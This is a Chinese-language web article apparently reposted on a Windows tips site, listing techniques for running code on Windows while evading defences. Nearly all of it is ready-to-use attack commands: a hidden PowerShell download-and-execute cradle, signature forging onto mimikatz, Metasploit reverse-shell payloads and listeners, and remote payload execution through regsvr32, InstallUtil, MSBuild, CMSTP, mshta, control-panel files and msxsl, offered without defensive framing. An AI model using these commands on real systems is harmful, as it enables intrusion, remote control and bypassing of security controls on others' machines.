Windows命令執行防御規避總結
更新日期:2023-09-22 10:16:06
來源:系統之家
今天小編為大家帶來Windows命令執行防御規避總結,具體如下:
powershell
powershell.exe -nop -w hidden -c \“IEX ((new-object net.webclient).downloadstring(‘https://xx.xx.xx.xx:8888/logo.gif’))\”“ /f
SIP
通過sip劫持對惡意代碼簽名獲得系統信任https://github.com/secretsquirrel/SigThief
python sigthief.py -i consent.exe -t mimikatz.exe -o signed-mimikatz.exe
rundll32.exe
生成
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f dll 》xxx.dll
目標執行
rundll32.exe shell32.dll,Control_RunDLL xxx.dll
Regsvr32.exe
msfconsole
auxiliary/server/regsvr32_command_delivery_server
set CMD net user test 123456 /add
目標執行
regsvr32 /s /n /u /i:https://xx.xx.xx.xx:8080/aPxOb0o scrobj.dll
InstallUtil.exe
1.編譯后門:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319》csc.exe /r:System.EnterpriseServices.dll /unsafe /target:library /out:xxx.exe /keyfile:”C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\x64\key.snk“ xxx.cs
2.靶機上運行:
InstallUtil.exe /U xxx.exe
3.msf監聽,得到反彈的shell:
set payload windows/x64/meterpreter/reverse_tcp
set LHOST xx.xx.xx.xx
set LPORT 4444
exploit
Msbuild.exe
MSBuild是Microsoft Build Engine的縮寫,代表Microsoft和Visual Studio的新的生成平臺,MSBuild可編譯特定格式的xml文件
https://github.com/3gstudent/msbuild-inline-task
msf生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444
-f csharp
使用shellcode替換https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml中的shellcode部分
msf監聽
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xx.xx.xx.xx
set lport 4444
exploit
運行
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe exec64.xml
CMSTP
cmstp.exe /s /ns C:\Users\administrator\AppData\Local\Temp\XKNqbpzl.txt繞過AppLocker并啟動惡意腳本
Mshta.exe
Mshta.exe 是一個執行 Microsoft HTML 應用程序 (HTA) 的實用程序,攻擊者可以使用 mshta.exe 通過受信任的 Windows 實用程序代理執行惡意代碼
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) 》 set srvhost xx.xx.xx.xx
msf exploit(windows/misc/hta_server) 》 exploit
mshta.exe https://xx.xx.xx.xx:8080/xxxxxxx.hta
控制面板
攻擊者可以使用控制面板項作為有效載荷來執行任意命令,控制面板項是注冊的可執行文件(.exe)或控制面板(.cpl)文件,可以直接從命令行執行或通過Control_RunDLL(API)調用或者直接雙擊文件。
攻擊者構造惡意的dll文件CPIApplet.dll
利用msf生成dll文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=170.170.64.17 LPORT=4444 -f dll 》 /tmp/CPIApplet.dll
傳入windows機器,然后重命名為CPIApplet.cpl,通過control.exe c:\users\administrator\desktop\CPIApplet.cpl 執行命令
通過msxsl.exe調用惡意xml文件執行腳本
制作兩個文件
customers.xml
script.xsl
xmlns:xsl=”https://www.w3.org/1999/XSL/Transform“
xmlns:msxsl=”urn:schemas-microsoft-com:xslt“
xmlns:user=”https://mycompany.com/mynamespace“》
function xml(nodelist) {
var r = new ActiveXObject(”WScript.Shell“).Run(”cmd.exe /k calc.exe“);
return nodelist.nextNode().xml;
}
開啟http服務
python3 -m http.server 80
遠程下載執行
msxsl.exe https://xx.xx.xx.xx/customers.xml https://xx.xx.xx.xx/scrip.xsl
- monterey12.1正式版無法檢測更新詳情0次
- zui13更新計劃詳細介紹0次
- 優麒麟u盤安裝詳細教程0次
- 優麒麟和銀河麒麟區別詳細介紹0次
- monterey屏幕鏡像使用教程0次
- monterey關閉sip教程0次
- 優麒麟操作系統詳細評測0次
- monterey支持多設備互動嗎詳情0次
- 優麒麟中文設置教程0次
- monterey和bigsur區別詳細介紹0次
周
月